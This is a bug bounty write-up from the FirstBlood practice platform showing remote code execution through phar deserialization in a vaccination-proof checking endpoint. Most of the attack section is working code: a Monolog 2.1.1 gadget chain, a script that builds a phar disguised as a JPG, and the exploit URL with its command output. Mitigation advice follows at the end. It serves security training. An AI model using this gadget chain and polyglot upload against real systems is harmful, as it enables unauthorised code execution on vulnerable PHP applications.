FirstBlood-#475 — [COLLAB] RCE via insecure deserialization in /api/checkproof.php endpoint
This issue was discovered on FirstBlood v2
On 2021-10-25, panya Level 7 reported:
This bug was found in collaboration with Mava.
The site now contains a new feature for confirming vaccination. The feature allows uploading an image (jpg or png) and then uses some logic in /api/checkproof.php
endpoint to validate the image (an absolute image path is provided in the proof
parameter).
The uploaded image is strictly validated by the body of the file. And it restricts to upload non-image files.
But because of the absolute file path in the proof
parameter, we can craft a phar archive that will mimic a valid image. Phar archives allow storing metadata information which serialized via serialize
call and then deserialized when we access the phar archive via phar://
php filter (if one of these functions is used with the provided file path: file()
, file_exist()
, file_get_contents()
, fopen()
, rename()
, unlink()
, include()
. And based on the /api/checkproof.php
behaviour, I assume it uses file_exist()
).
So to exploit the insecure deserialization we just need to craft a proper gadget chain which will allow us to execute php code.
After some recon by Mava we found /composer.json
(composer.phar
and composer.lock
are also publicly accessible) file with this content:
{
"require": {
"monolog/monolog": "2.1.1"
}
}
So the app uses Monolog library with version 2.1.1. After some googling, we found that the library has known deserialization gadget chain (chain.php
, discovered via https://github.com/ambionics/phpggc):
<?php
namespace Monolog\Handler
{
class SyslogUdpHandler
{
protected $socket;
function __construct($x)
{
$this->socket = $x;
}
}
class BufferHandler
{
protected $handler;
protected $bufferSize = -1;
protected $buffer;
# ($record['level'] < $this->level) == false
protected $level = null;
protected $initialized = true;
# ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
protected $bufferLimit = -1;
protected $processors;
function __construct($methods, $command)
{
$this->processors = $methods;
$this->buffer = [$command];
$this->handler = $this;
}
}
}
which can be exploited via this call:
new \Monolog\Handler\SyslogUdpHandler(
new \Monolog\Handler\BufferHandler(
['current', 'system'],
['id', 'level' => null]
)
);
to achieve RCE (this code when serialized and then deserialized will call system('id')
).
To get the valid phar archive with this payload, we build a simple script (phar.php
):
<?php
include 'chain.php';
$payload = new \Monolog\Handler\SyslogUdpHandler(
new \Monolog\Handler\BufferHandler(
['current', 'system'],
['id', 'level' => null]
)
);
$image = file_get_contents('example.jpg');
$phar = new \Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub($image . '<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($payload);
$phar->stopBuffering();
?>
it also adds content of a valid jpg file (named example.jpg
):
to make it a valid jpg image (it will be useful to bypass upload filters).
To make it work, we also need to set phar.readonly
to Off
in our php.ini
file.
So after call this script:
php phar.php
and renaming the resulting phar archive (test.phar
) to jpg:
mv test.phar test.jpg
we can upload the image to the site via upload-vaccination-proof.php form.
After uploading, the site will redirect us on /vaccination-manager/pub/submit-vaccination-proof.php that contains (in a script tag) path to /api/checkproof.php?proof=/app/firstblood/upload/9b351e527bfb9dfc4c0ee988edfa7110e41d9d47.jpg
with an absolute path to our image (/app/firstblood/upload/9b351e527bfb9dfc4c0ee988edfa7110e41d9d47.jpg
in this case).
But it's not an image, it's phar archive, so to exploit our RCE we just visit the endpoint https://579a3c7897af-panya.a.firstbloodhackers.com/api/checkproof.php?proof=phar:///app/firstblood/upload/9b351e527bfb9dfc4c0ee988edfa7110e41d9d47.jpg/test.txt (notice the phar scheme + test.txt from our archive as a suffix).
And in the response, we will see an output of id
system command (after true
):
trueuid=1000(fb-exec) gid=1000(fb-exec) groups=1000(fb-exec)
Screenshot of the output:
Impact:
An attacker could execute any php code.
Mitigation:
Disable phar
scheme with stream_wrapper_unregister
and/or update the Monolog library to the latest version.
Thanks to Mava for the awesome composer.json
finding.
P1 CRITICAL
Endpoint: /api/checkproof.php
This report contains multiple vulnerabilities:
FirstBlood ID: 36
Vulnerability Type: Information leak/disclosure
It is possible to use the composer.json to aid with another vulnerability and gaining information/knowledge on versions used.
FirstBlood ID: 34
Vulnerability Type: Deserialization
This endpoint calls filesize() on the path provided in the 'proof' param with no filtering or sanitisation. By adding the phar:// stream handler to the path, an attacker can force a previously uploaded file to be sent through deserialisation. Coupled with the fact that a gadget-chain vulnerable version of monolog is being used, this allows for RCE.
Creator & Administrator
Nice work panya and mava! :)